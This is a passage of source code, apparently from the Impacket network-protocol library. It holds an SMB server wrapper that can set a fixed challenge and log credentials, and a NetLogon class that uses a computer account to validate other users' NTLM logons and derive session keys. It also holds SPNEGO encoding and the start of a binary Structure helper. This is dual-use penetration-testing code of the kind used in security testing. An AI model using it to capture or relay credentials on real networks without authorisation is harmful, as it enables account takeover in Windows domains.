self.__server.serve_forever()\n\n    def stop(self):\n        self.__server.server_close()\n\n    def registerNamedPipe(self, pipeName, address):\n        return self.__server.registerNamedPipe(pipeName, address)\n\n    def unregisterNamedPipe(self, pipeName):\n        return self.__server.unregisterNamedPipe(pipeName)\n\n    def getRegisteredNamedPipes(self):\n        return self.__server.getRegisteredNamedPipes()\n\n    def addShare(self, shareName, sharePath, shareComment='', shareType='0', readOnly='no'):\n        share = shareName.upper()\n        self.__smbConfig.add_section(share)\n        self.__smbConfig.set(share, 'comment', shareComment)\n        self.__smbConfig.set(share, 'read only', readOnly)\n        self.__smbConfig.set(share, 'share type', shareType)\n        self.__smbConfig.set(share, 'path', sharePath)\n        self.__server.setServerConfig(self.__smbConfig)\n        self.__srvsServer.setServerConfig(self.__smbConfig)\n        self.__server.processConfigFile()\n        self.__srvsServer.processConfigFile()\n\n    def removeShare(self, shareName):\n        self.__smbConfig.remove_section(shareName.upper())\n        self.__server.setServerConfig(self.__smbConfig)\n        self.__srvsServer.setServerConfig(self.__smbConfig)\n        self.__server.processConfigFile()\n        self.__srvsServer.processConfigFile()\n\n    def setSMBChallenge(self, challenge):\n        if challenge != '':\n            self.__smbConfig.set('global', 'challenge', challenge)\n            self.__server.setServerConfig(self.__smbConfig)\n            self.__server.processConfigFile()\n\n    def setLogFile(self, logFile):\n        self.__smbConfig.set('global', 'log_file', logFile)\n        self.__server.setServerConfig(self.__smbConfig)\n        self.__server.processConfigFile()\n\n    def setCredentialsFile(self, logFile):\n        self.__smbConfig.set('global', 'credentials_file', logFile)\n        self.__server.setServerConfig(self.__smbConfig)\n        self.__server.processConfigFile()\n\n    def addCredential(self, name, uid, lmhash, nthash):\n        self.__server.addCredential(name, uid, lmhash, nthash)\n\n    def setComputerAccount(self, computer_account_name, computer_account_hash, computer_account_aes, computer_account_password, computer_account_domain, dcip):\n        # needs to be correct for netlogon to allow us to authenticate the user\n        self.__smbConfig.set('global', 'server_name', computer_account_name[:-1]) # assume that the computer account ends with a $\n        self.__smbConfig.set('global', 'server_domain', computer_account_domain)\n\n        self.__smbConfig.set('global', 'computer_account_name', computer_account_name)\n        self.__smbConfig.set('global', 'computer_account_hash', computer_account_hash or \"\")\n        self.__smbConfig.set('global', 'computer_account_aes', computer_account_aes or \"\")\n        self.__smbConfig.set('global', 'computer_account_password', computer_account_password or \"\")\n        self.__smbConfig.set('global', 'computer_account_domain', computer_account_domain)\n        self.__smbConfig.set('global', 'dcip', dcip)\n\n        self.__server.setServerConfig(self.__smbConfig)\n        self.__server.processConfigFile()\n\n\n    def setSMB2Support(self, value):\n        if value is True:\n            self.__smbConfig.set(\"global\", \"SMB2Support\", \"True\")\n        else:\n            self.__smbConfig.set(\"global\", \"SMB2Support\", \"False\")\n        self.__server.setServerConfig(self.__smbConfig)\n        self.__server.processConfigFile()\n\n    def setNTLMSupport(self, value):\n        if value is True:\n            self.__smbConfig.set(\"global\", \"NTLMSupport\", \"True\")\n        else:\n            self.__smbConfig.set(\"global\", \"NTLMSupport\", \"False\")\n        self.__server.setServerConfig(self.__smbConfig)\n        self.__server.processConfigFile()\n\n    def setKerberosSupport(self, value):\n        if value is True:\n            self.__smbConfig.set(\"global\", \"KerberosSupport\", \"True\")\n        else:\n            self.__smbConfig.set(\"global\", \"KerberosSupport\", \"False\")\n        self.__server.setServerConfig(self.__smbConfig)\n        self.__server.processConfigFile()\n\n    def getAuthCallback(self):\n        return self.__server.getAuthCallback()\n\n    def setAuthCallback(self, callback):\n        self.__server.setAuthCallback(callback)\n\n    def setDropSSP(self, value):\n        if value is True:\n            self.__smbConfig.set(\"global\", \"DropSSP\", \"True\")\n        else:\n            self.__smbConfig.set(\"global\", \"DropSSP\", \"False\")\n        self.__server.setServerConfig(self.__smbConfig)\n        self.__server.processConfigFile()\n\n# https://gist.github.com/ThePirateWhoSmellsOfSunflowers/f41c334f912ec033d9bbfc7e96308ec6\nclass NetLogon:\n    nrpc_uid = nrpc.MSRPC_UUID_NRPC\n    syntax = rpcrt.DCERPC.NDRSyntax\n    authn_level_packet = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY # KB5021130\n\n    def __init__(self, dcip, computer_account_name, computer_account_hash, computer_account_domain, client_challenge=random.randbytes(8), computer_name=None, primary_name=\"\"):\n        self.dcip = dcip\n        self.computer_account_name = computer_account_name\n        if computer_name is not None:\n            self.computer_name = computer_name\n        else:\n            self.computer_name = computer_account_name[:-1] # strip $\n        self.computer_account_hash = unhexlify(computer_account_hash)\n        self.computer_account_domain = computer_account_domain\n        self.client_challenge = client_challenge\n        self.primary_name = primary_name\n        self.authenticator = None\n        self.dce = None\n\n    def setupConnection(self):\n        binding_string_nrpc = epm.hept_map(self.dcip, self.nrpc_uid, dataRepresentation=self.syntax, protocol='ncacn_ip_tcp')\n        rpctransport = transport.DCERPCTransportFactory(binding_string_nrpc)\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(nrpc.MSRPC_UUID_NRPC, transfer_syntax=uuid.bin_to_uuidtup(self.syntax))\n\n        resp = nrpc.hNetrServerReqChallenge(dce, self.primary_name, self.computer_name + '\\x00', self.client_challenge)\n        serverchall = resp[\"ServerChallenge\"]\n        sessionKey = nrpc.ComputeSessionKeyStrongKey(None, self.client_challenge, serverchall, self.computer_account_hash)\n        clientcred = nrpc.ComputeNetlogonCredential(self.client_challenge, sessionKey)\n        resp = nrpc.hNetrServerAuthenticate3(dce, self.primary_name + '\\x00', self.computer_account_name + '\\x00',\n                                            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,\n                                            self.computer_name + '\\x00', clientcred, 0x600FFFFF)\n\n        dce.set_credentials(self.computer_account_name, \"THIS_IS_IGNORED_IN_IMPACKET\", self.computer_account_domain)\n        dce.set_auth_type(rpcrt.RPC_C_AUTHN_NETLOGON)\n        dce.set_auth_level(self.authn_level_packet)\n\n        resp = dce.bind(nrpc.MSRPC_UUID_NRPC, alter=1, transfer_syntax=uuid.bin_to_uuidtup(self.syntax))\n\n        auth = nrpc.ComputeNetlogonAuthenticator(clientcred, sessionKey)\n\n        dce.set_session_key(sessionKey)\n        resp = nrpc.hNetrLogonGetCapabilities(dce, self.primary_name, self.computer_name, auth)\n        self.authenticator = resp['ReturnAuthenticator']\n        self.dce = dce\n\n    def logonUserAndGetSessionKey(self, authenticateMessage, serverChallenge):\n        request = nrpc.NetrLogonSamLogonWithFlags()\n        request['LogonServer'] = '\\x00'\n        request['ComputerName'] = self.computer_name + '\\x00'\n        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4\n\n        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n        request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = authenticateMessage['domain_name'].decode('utf-16le')\n\n        # MS-APDS: 3.1.5.2 NTLM Network Logon: If the account is a computer account, the subauthentication package is not verified, and the K bit of LogonInformation.LogonNetwork.Identity.ParameterControl is not set, then return STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT.<21>\n        # MS-NRPC: 2.2.1.4.15 NETLOGON_LOGON_IDENTITY_INFO: K=20\n        request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 2**11\n        request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage['user_name'].decode('utf-16le')\n        request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''\n\n        request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = serverChallenge\n        request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']\n        request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']\n\n        request['Authenticator'] = self.authenticator\n        request['ReturnAuthenticator']['Credential'] = b'\\x00'*8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n        request['ExtraFlags'] = 0\n\n        resp = self.dce.request(request)\n        #resp.dump()\n\n        signingKey = ntlm.generateEncryptedSessionKey(resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], authenticateMessage['session_key'])\n        return signingKey, resp['ErrorCode']"
  },
  {
    "path": "impacket/spnego.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   SPNEGO functions used by SMB, SMB2/3 and DCERPC\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom struct import pack, unpack, calcsize\n\nfrom impacket import ntlm\nfrom Cryptodome.Cipher import ARC4\n\n############### GSS Stuff ################\nGSS_API_SPNEGO_UUID              = b'\\x2b\\x06\\x01\\x05\\x05\\x02'\nASN1_SEQUENCE                    = 0x30\nASN1_AID                         = 0x60\nASN1_OID                         = 0x06\nASN1_OCTET_STRING                = 0x04\nASN1_MECH_TYPE                   = 0xa0\nASN1_MECH_TOKEN                  = 0xa2\nASN1_SUPPORTED_MECH              = 0xa1\nASN1_RESPONSE_TOKEN              = 0xa2\nASN1_MECH_LIST_MIC               = 0xa3\nASN1_ENUMERATED                  = 0x0a\nMechTypes = {\nb'+\\x06\\x01\\x04\\x01\\x827\\x02\\x02\\n': 'NTLMSSP - Microsoft NTLM Security Support Provider',\nb'*\\x86H\\x82\\xf7\\x12\\x01\\x02\\x02': 'MS KRB5 - Microsoft Kerberos 5',\nb'*\\x86H\\x86\\xf7\\x12\\x01\\x02\\x02': 'KRB5 - Kerberos 5',\nb'*\\x86H\\x86\\xf7\\x12\\x01\\x02\\x02\\x03': 'KRB5 - Kerberos 5 - User to User',\nb'\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x1e': 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'\n}\n\nTypesMech = dict((v,k) for k, v in MechTypes.items())\n\ndef asn1encode(data = ''):\n        #res = asn1.SEQUENCE(str).encode()\n        #import binascii\n        #print '\\nalex asn1encode str: %s\\n' % binascii.hexlify(str)\n        if 0 <= len(data) <= 0x7F:\n            res = pack('B', len(data)) + data\n        elif 0x80 <= len(data) <= 0xFF:\n            res = pack('BB', 0x81, len(data)) + data\n        elif 0x100 <= len(data) <= 0xFFFF:\n            res = pack('!BH', 0x82, len(data)) + data\n        elif 0x10000 <= len(data) <= 0xffffff:\n            res = pack('!BBH', 0x83, len(data) >> 16, len(data) & 0xFFFF) + data\n        elif 0x1000000 <= len(data) <= 0xffffffff:\n            res = pack('!BL', 0x84, len(data)) + data\n        else:\n            raise Exception('Error in asn1encode')\n        return res\n\ndef asn1decode(data = ''):\n        len1 = unpack('B', data[:1])[0]\n        data = data[1:]\n        if len1 == 0x81:\n            pad = calcsize('B')\n            len2 = unpack('B',data[:pad])[0]\n            data = data[pad:]\n            ans = data[:len2]\n        elif len1 == 0x82:\n            pad = calcsize('H')\n            len2 = unpack('!H', data[:pad])[0]\n            data = data[pad:]\n            ans = data[:len2]\n        elif len1 == 0x83:\n            pad = calcsize('B') + calcsize('!H')\n            len2, len3 = unpack('!BH', data[:pad])\n            data = data[pad:]\n            ans = data[:len2 << 16 + len3]\n        elif len1 == 0x84:\n            pad = calcsize('!L')\n            len2 = unpack('!L', data[:pad])[0]\n            data = data[pad:]\n            ans = data[:len2]\n        # 1 byte length, string <= 0x7F\n        else:\n            pad = 0\n            ans = data[:len1]\n        return ans, len(ans)+pad+1\n\nclass GSSAPI:\n# Generic GSSAPI Header Format \n    def __init__(self, data = None):\n        self.fields = {}\n        self['UUID'] = GSS_API_SPNEGO_UUID\n        if data:\n             self.fromString(data)\n        pass\n\n    def __setitem__(self,key,value):\n        self.fields[key] = value\n\n    def __getitem__(self, key):\n        return self.fields[key]\n\n    def __delitem__(self, key):\n        del self.fields[key]\n\n    def __len__(self):\n        return len(self.getData())\n\n    def __str__(self):\n        return len(self.getData())\n\n    def fromString(self, data = None):\n        # Manual parse of the GSSAPI Header Format\n        # It should be something like\n        # AID = 0x60 TAG, BER Length\n        # OID = 0x06 TAG\n        # GSSAPI OID\n        # UUID data (BER Encoded)\n        # Payload\n        next_byte = unpack('B',data[:1])[0]\n        if next_byte != ASN1_AID:\n            raise Exception('Unknown AID=%x' % next_byte)\n        data = data[1:]\n        decode_data, total_bytes = asn1decode(data) \n        # Now we should have a OID tag\n        next_byte = unpack('B',decode_data[:1])[0]\n        if next_byte !=  ASN1_OID:\n            raise Exception('OID tag not found %x' % next_byte)\n        decode_data = decode_data[1:]\n        # Now the OID contents, should be SPNEGO UUID\n        uuid, total_bytes = asn1decode(decode_data)\n        self['OID'] = uuid\n        # the rest should be the data\n        self['Payload'] = decode_data[total_bytes:]\n        #pass\n\n    def dump(self):\n        for i in list(self.fields.keys()):\n            print(\"%s: {%r}\" % (i,self[i]))\n\n    def getData(self):\n        ans = pack('B',ASN1_AID)\n        ans += asn1encode(\n               pack('B',ASN1_OID) + \n               asn1encode(self['UUID']) +\n               self['Payload'] )\n        return ans\n\nclass SPNEGO_NegTokenResp:\n    # https://tools.ietf.org/html/rfc4178#page-9\n    # NegTokenResp ::= SEQUENCE {\n    #     negState       [0] ENUMERATED {\n    #         accept-completed    (0),\n    #         accept-incomplete   (1),\n    #         reject              (2),\n    #         request-mic         (3)\n    #     }                                 OPTIONAL,\n    #       -- REQUIRED in the first reply from the target\n    #     supportedMech   [1] MechType      OPTIONAL,\n    #       -- present only in the first reply from the target\n    #     responseToken   [2] OCTET STRING  OPTIONAL,\n    #     mechListMIC     [3] OCTET STRING  OPTIONAL,\n    #     ...\n    # }\n    # This structure is not prepended by a GSS generic header!\n    SPNEGO_NEG_TOKEN_RESP = 0xa1\n    SPNEGO_NEG_TOKEN_TARG = 0xa0\n\n    def __init__(self, data = None):\n        self.fields = {}\n        if data:\n             self.fromString(data)\n        pass\n\n    def __setitem__(self,key,value):\n        self.fields[key] = value\n\n    def __getitem__(self, key):\n        return self.fields[key]\n\n    def __delitem__(self, key):\n        del self.fields[key]\n\n    def __len__(self):\n        return len(self.getData())\n\n    def __str__(self):\n        return self.getData()\n\n    def fromString(self, data = 0):\n        payload = data\n        next_byte = unpack('B', payload[:1])[0]\n        if next_byte != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:\n            raise Exception('NegTokenResp not found %x' % next_byte)\n        payload = payload[1:]\n        decode_data, total_bytes = asn1decode(payload)\n        next_byte = unpack('B', decode_data[:1])[0]\n        if next_byte != ASN1_SEQUENCE:\n            raise Exception('SEQUENCE tag not found %x' % next_byte)\n        decode_data = decode_data[1:]\n        decode_data, total_bytes = asn1decode(decode_data)\n        next_byte = unpack('B',decode_data[:1])[0]\n\n        if next_byte != ASN1_MECH_TYPE:\n            # MechType not found, could be an AUTH answer\n            if next_byte != ASN1_RESPONSE_TOKEN:\n               raise Exception('MechType/ResponseToken tag not found %x' % next_byte)\n        else:\n            decode_data2 = decode_data[1:]\n            decode_data2, total_bytes = asn1decode(decode_data2)\n            next_byte = unpack('B', decode_data2[:1])[0]\n            if next_byte != ASN1_ENUMERATED:\n                raise Exception('Enumerated tag not found %x' % next_byte)\n            item, total_bytes2 = asn1decode(decode_data2[1:])\n            self['NegState'] = item\n            decode_data = decode_data[1:]\n            decode_data = decode_data[total_bytes:]\n\n            # Do we have more data?\n            if len(decode_data) == 0:\n                return\n\n            next_byte = unpack('B', decode_data[:1])[0]\n            if next_byte != ASN1_SUPPORTED_MECH:\n                if next_byte != ASN1_RESPONSE_TOKEN:\n                    raise Exception('Supported Mech/ResponseToken tag not found %x' % next_byte)\n            else:\n                decode_data2 = decode_data[1:]\n                decode_data2, total_bytes = asn1decode(decode_data2)\n                next_byte = unpack('B', decode_data2[:1])[0]\n                if next_byte != ASN1_OID:\n                    raise Exception('OID tag not found %x' % next_byte)\n                decode_data2 = decode_data2[1:]\n                item, total_bytes2 = asn1decode(decode_data2)\n                self['SupportedMech'] = item\n\n                decode_data = decode_data[1:]\n                decode_data = decode_data[total_bytes:]\n                next_byte = unpack('B', decode_data[:1])[0]\n                if next_byte != ASN1_RESPONSE_TOKEN:\n                    raise Exception('Response token tag not found %x' % next_byte)\n\n        decode_data = decode_data[1:]\n        decode_data, total_bytes = asn1decode(decode_data)\n        next_byte = unpack('B', decode_data[:1])[0]\n        if next_byte != ASN1_OCTET_STRING:\n            raise Exception('Octet string token tag not found %x' % next_byte)\n        decode_data = decode_data[1:]\n        decode_data, total_bytes = asn1decode(decode_data)\n        self['ResponseToken'] = decode_data\n\n    def dump(self):\n        for i in list(self.fields.keys()):\n            print(\"%s: {%r}\" % (i,self[i]))\n    def getData(self):\n        ans = pack('B',SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP)\n        if 'NegState' in self.fields and 'SupportedMech' in self.fields and 'ResponseToken' in self.fields:\n            # Server resp\n            ans += asn1encode(\n               pack('B', ASN1_SEQUENCE) +\n               asn1encode(\n               pack('B',SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_TARG) +\n               asn1encode(\n               pack('B',ASN1_ENUMERATED) + \n               asn1encode( self['NegState'] )) +\n               pack('B',ASN1_SUPPORTED_MECH) +\n               asn1encode( \n               pack('B',ASN1_OID) +\n               asn1encode(self['SupportedMech'])) +\n               pack('B',ASN1_RESPONSE_TOKEN ) +\n               asn1encode(\n               pack('B', ASN1_OCTET_STRING) + asn1encode(self['ResponseToken']))))\n        elif 'NegState' in self.fields and 'SupportedMech' in self.fields:\n            # Server resp\n            ans += asn1encode(\n               pack('B', ASN1_SEQUENCE) +\n               asn1encode(\n               pack('B',SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_TARG) +\n               asn1encode(\n               pack('B',ASN1_ENUMERATED) +\n               asn1encode( self['NegState'] )) +\n               pack('B',ASN1_SUPPORTED_MECH) +\n               asn1encode(\n               pack('B',ASN1_OID) +\n               asn1encode(self['SupportedMech']))))\n        elif 'NegState' in self.fields:\n            # Server resp\n            ans += asn1encode(\n               pack('B', ASN1_SEQUENCE) + \n               asn1encode(\n               pack('B', SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_TARG) +\n               asn1encode(\n               pack('B',ASN1_ENUMERATED) +\n               asn1encode( self['NegState'] ))))\n        else:\n            # Client resp\n            if 'mechListMIC' in self.fields:\n                ans += asn1encode(\n                    pack('B', ASN1_SEQUENCE) +\n                    asn1encode(\n                        pack('B', ASN1_RESPONSE_TOKEN) +\n                        asn1encode(\n                            pack('B', ASN1_OCTET_STRING) + \n                            asn1encode(self['ResponseToken'])\n                        ) +\n                        pack('B', ASN1_MECH_LIST_MIC) +\n                        asn1encode(\n                            pack('B', ASN1_OCTET_STRING) + \n                            asn1encode(self['mechListMIC'])\n                        )\n                    )\n                )\n            else:\n                ans += asn1encode(\n                    pack('B', ASN1_SEQUENCE) +\n                    asn1encode(\n                    pack('B', ASN1_RESPONSE_TOKEN) +\n                    asn1encode(\n                    pack('B', ASN1_OCTET_STRING) + asn1encode(self['ResponseToken']))))\n        return ans\n\nclass SPNEGO_NegTokenInit(GSSAPI):\n    # https://tools.ietf.org/html/rfc4178#page-8\n    # NegTokeInit :: = SEQUENCE {\n    #   mechTypes       [0] MechTypeList,\n    #   reqFlags        [1] ContextFlags OPTIONAL,\n    #   mechToken       [2] OCTET STRING OPTIONAL,\n    #   mechListMIC     [3] OCTET STRING OPTIONAL,\n    # }\n    SPNEGO_NEG_TOKEN_INIT = 0xa0\n    def fromString(self, data = 0):\n        GSSAPI.fromString(self, data)\n        payload = self['Payload']\n        next_byte = unpack('B', payload[:1])[0] \n        if next_byte != SPNEGO_NegTokenInit.SPNEGO_NEG_TOKEN_INIT:\n            raise Exception('NegTokenInit not found %x' % next_byte)\n        payload = payload[1:]\n        decode_data, total_bytes = asn1decode(payload)\n        # Now we should have a SEQUENCE Tag\n        next_byte = unpack('B', decode_data[:1])[0]\n        if next_byte != ASN1_SEQUENCE:\n            raise Exception('SEQUENCE tag not found %x' % next_byte)\n        decode_data = decode_data[1:]\n        decode_data, total_bytes2 = asn1decode(decode_data)\n        next_byte = unpack('B',decode_data[:1])[0]\n        if next_byte != ASN1_MECH_TYPE:\n            raise Exception('MechType tag not found %x' % next_byte)\n        decode_data = decode_data[1:]\n        remaining_data = decode_data\n        decode_data, total_bytes3 = asn1decode(decode_data)\n        next_byte = unpack('B', decode_data[:1])[0]\n        if next_byte != ASN1_SEQUENCE:\n            raise Exception('SEQUENCE tag not found %x' % next_byte)\n        decode_data = decode_data[1:]\n        decode_data, total_bytes4 = asn1decode(decode_data)\n        # And finally we should have the MechTypes\n        self['MechTypes'] = []\n        while decode_data:\n           next_byte = unpack('B', decode_data[:1])[0]\n           if next_byte != ASN1_OID:    \n             # Not a valid OID, there must be something else we won't unpack\n             break\n           decode_data = decode_data[1:]\n           item, total_bytes = asn1decode(decode_data)\n           self['MechTypes'].append(item)\n           decode_data = decode_data[total_bytes:]\n\n        # Do we have MechTokens as well?\n        decode_data = remaining_data[total_bytes3:]\n        if len(decode_data) > 0:\n            next_byte = unpack('B', decode_data[:1])[0]\n            if next_byte == ASN1_MECH_TOKEN:\n                # We have tokens in here!\n                decode_data = decode_data[1:]\n                decode_data, total_bytes = asn1decode(decode_data)\n                next_byte = unpack('B', decode_data[:1])[0]\n                if next_byte ==  ASN1_OCTET_STRING:\n                    decode_data = decode_data[1:]\n                    decode_data, total_bytes = asn1decode(decode_data)\n                    self['MechToken'] =  decode_data\n\n    def getData(self):\n        mechTypes = b''\n        for i in self['MechTypes']:\n            mechTypes += pack('B', ASN1_OID)\n            mechTypes += asn1encode(i)\n\n        mechToken = b''\n        # Do we have tokens to send?\n        if 'MechToken' in self.fields:\n            mechToken = pack('B', ASN1_MECH_TOKEN) + asn1encode(\n                pack('B', ASN1_OCTET_STRING) + asn1encode(\n                    self['MechToken']))\n\n        ans = pack('B',SPNEGO_NegTokenInit.SPNEGO_NEG_TOKEN_INIT)\n        ans += asn1encode(\n               pack('B', ASN1_SEQUENCE) +\n               asn1encode(\n               pack('B', ASN1_MECH_TYPE) +\n               asn1encode(\n               pack('B', ASN1_SEQUENCE) + \n               asn1encode(mechTypes)) + mechToken ))\n\n\n        self['Payload'] = ans\n        return GSSAPI.getData(self)\n\nclass SPNEGOCipher:\n    def __init__(self, flags, randomSessionKey):\n        self.__flags = flags\n        if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n            self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)\n            self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,\"Server\")\n            self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)\n            self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,\"Server\")\n            \n            # Preparing the keys handle states\n            cipher3 = ARC4.new(self.__clientSealingKey)\n            self.__clientSealingHandle = cipher3.encrypt\n            cipher4 = ARC4.new(self.__serverSealingKey)\n            self.__serverSealingHandle = cipher4.encrypt\n        else:\n            # Same key for everything\n            self.__clientSigningKey = randomSessionKey\n            self.__serverSigningKey = randomSessionKey\n            self.__clientSealingKey = randomSessionKey\n            self.__clientSealingKey = randomSessionKey\n            cipher = ARC4.new(self.__clientSigningKey)\n            self.__clientSealingHandle = cipher.encrypt\n            self.__serverSealingHandle = cipher.encrypt\n        self.__sequence = 0\n\n    def encrypt(self, plain_data):\n        sealedMessage, signature =  ntlm.SEAL(self.__flags, \n                self.__clientSigningKey, \n                self.__clientSealingKey,  \n                plain_data, \n                plain_data, \n                self.__sequence, \n                self.__clientSealingHandle)\n\n        self.__sequence += 1\n\n        return signature, sealedMessage\n\n    def decrypt(self, answer):\n        answer, signature =  ntlm.SEAL(self.__flags, \n                self.__serverSigningKey, \n                self.__serverSealingKey,  \n                answer[:16], \n                answer[16:], \n                self.__sequence, \n                self.__serverSealingHandle)\n\n        return signature, answer\n    \n    def sign(self,data, seqNum=0, reset_cipher=False):\n        signature = ntlm.MAC(self.__flags, self.__clientSealingHandle, self.__clientSigningKey, seqNum, data)\n        if reset_cipher:\n            if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                cipher3 = ARC4.new(self.__clientSealingKey)\n                self.__clientSealingHandle = cipher3.encrypt\n                cipher4 = ARC4.new(self.__serverSealingKey)\n                self.__serverSealingHandle = cipher4.encrypt\n            else:\n                cipher = ARC4.new(self.__clientSigningKey)\n                self.__clientSealingHandle = cipher.encrypt\n                self.__serverSealingHandle = cipher.encrypt\n        self.__sequence += 1\n        return signature\n\n"
  },
  {
    "path": "impacket/structure.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport re\nfrom struct import pack, unpack, calcsize\n\nimport six\nfrom six import b, PY3\nfrom binascii import hexlify\n\n\nclass Structure:\n    \"\"\" sublcasses can define commonHdr and/or structure.\n        each of them is an tuple of either two: (fieldName, format) or three: (fieldName, ':', class) fields.\n        [it can't be a dictionary, because order is important]\n        \n        where format specifies how the data in the field will be converted to/from bytes (string)\n        class is the class to use when unpacking ':' fields.\n\n        each field can only contain one value (or an array of values for *)\n           i.e. struct.pack('Hl',1,2) is valid, but format specifier 'Hl' is not (you must use 2 dfferent fields)\n\n        format specifiers:\n          specifiers from module pack can be used with the same format \n          see struct.__doc__ (pack/unpack is finally called)\n            x       [padding byte]\n            c       [character]\n            b       [signed byte]\n            B       [unsigned byte]\n            h       [signed short]\n            H       [unsigned short]\n            l       [signed long]\n            L       [unsigned long]\n            i       [signed integer]\n            I       [unsigned integer]\n            q       [signed long long (quad)]\n            Q       [unsigned long long (quad)]\n            s       [string (array of chars), must be preceded with length in format specifier, padded with zeros]\n            p       [pascal string (includes byte count), must be preceded with length in format specifier, padded with zeros]\n            f       [float]\n            d       [double]\n            =       [native byte ordering, size and alignment]\n            @       [native byte ordering, standard size and alignment]\n            !       [network byte ordering]\n            <       [little endian]\n            >       [big endian]\n\n          usual printf like specifiers can be used (if started with %) \n          [not recommended, there is no way to unpack this]\n\n            %08x    will output an 8 bytes hex\n            %s      will output a string\n            %s\\\\x00  will output a NUL terminated string\n            %d%d    will output 2 decimal digits (against the very same specification of Structure)\n            ...\n\n          some additional format specifiers:\n            :       just copy the bytes from the field into the output string (input may be string, other structure, or anything responding to __str__()) (for unpacking, all what's left is returned)\n            z       same as :, but adds a NUL byte at the end (asciiz) (for unpacking the first NUL byte is used as terminator)  [asciiz string]\n            u       same as z, but adds two NUL bytes at the end (after padding to an even size with NULs). (same for unpacking) [UTF16-le encoded bytes]\n            w       DCE-RPC/NDR string (it's a macro for [  '<L=(len(field)+1)/2','\"\\\\x00\\\\x00\\\\x00\\\\x00','<L=(len(field)+1)/2',':' ]\n            ?-field length of field named 'field', formatted as specified with ? ('?' may be '!H' for example). The input value overrides the real length\n            ?1*?2   array of elements. Each formatted as '?2', the number of elements in the array is stored as specified by '?1' (?1 is optional, or can also be a constant (number), for unpacking)\n            'xxxx   literal xxxx (field's value doesn't change the output. quotes must not be closed or escaped)\n            \"xxxx   literal xxxx (field's value doesn't change the output. quotes must not be closed or escaped)\n            _       will not pack the field. Accepts a third argument, which is an unpack code. See _Test_UnpackCode for an example\n            ?=packcode  will evaluate packcode in the context of the structure, and pack the result as specified by ?. Unpacking is made plain\n            ?&fieldname \"Address of field fieldname\".\n                        For packing it will simply pack the id() of fieldname. Or use 0 if fieldname doesn't exists.\n                        For unpacking, it's used to know weather fieldname has to be unpacked or not, i.e. by adding a & field you turn another field (fieldname) in an optional field.\n            \n    \"\"\"\n    # REGEX: Positive lookahead to find overlapping NUL-NUL terminators (something like \\x00\\x00\\x00 has 1 overlap)\n    NULL_NULL_TERMINATOR_REGEX = re.compile(b'(?=(\\x00\\x00))')\n\n    commonHdr = ()\n    structure = ()\n    debug = 0\n    # Encoding defaults to latin-1 which already was the de facto encoding for structures and works for most use cases.\n    # Now it can be configured to another encoding if needed.\n    ENCODING = 'latin-1'   # https://github.com/fortra/impacket/pull/1958\n\n    def __init__(self, data = None, alignment = 0):\n        if not hasattr(self, 'alignment'):\n            self.alignment = alignment\n\n        self.fields    = {}\n        self.rawData   = data\n\n        self.b = lambda x: six.ensure_binary(x, encoding=self.ENCODING)\n\n        if data is not None:\n            self.fromString(data)\n        else:\n            self.data = None\n\n    @classmethod\n    def fromFile(self, file):\n        answer = self()\n        answer.fromString(file.read(len(answer)))\n        return answer\n\n    def setAlignment(self, alignment):\n        self.alignment = alignment\n\n    def setData(self, data):\n        self.data = data\n\n    def packField(self, fieldName, format = None):\n        if self.debug:\n            print(\"packField( %s | %s )\" % (fieldName, format))\n\n        if format is None:\n            format = self.formatForField(fieldName)\n\n        if fieldName in self.fields:\n            ans = self.pack(format, self.fields[fieldName], field = fieldName)\n        else:\n            ans = self.pack(format, None, field = fieldName)\n\n        if self.debug:\n            print(\"\\tanswer %r\" % ans)\n\n        return ans\n\n    def getData(self):\n        if self.data is not None:\n            return self.data\n        data = bytes()\n        for field in self.commonHdr+self.structure:\n            try:\n                data += self.packField(field[0], field[1])\n            except Exception as e:\n                if field[0] in self.fields:\n                    e.args += (\"When packing field '%s | %s | %r' in %s\" % (field[0], field[1], self[field[0]], 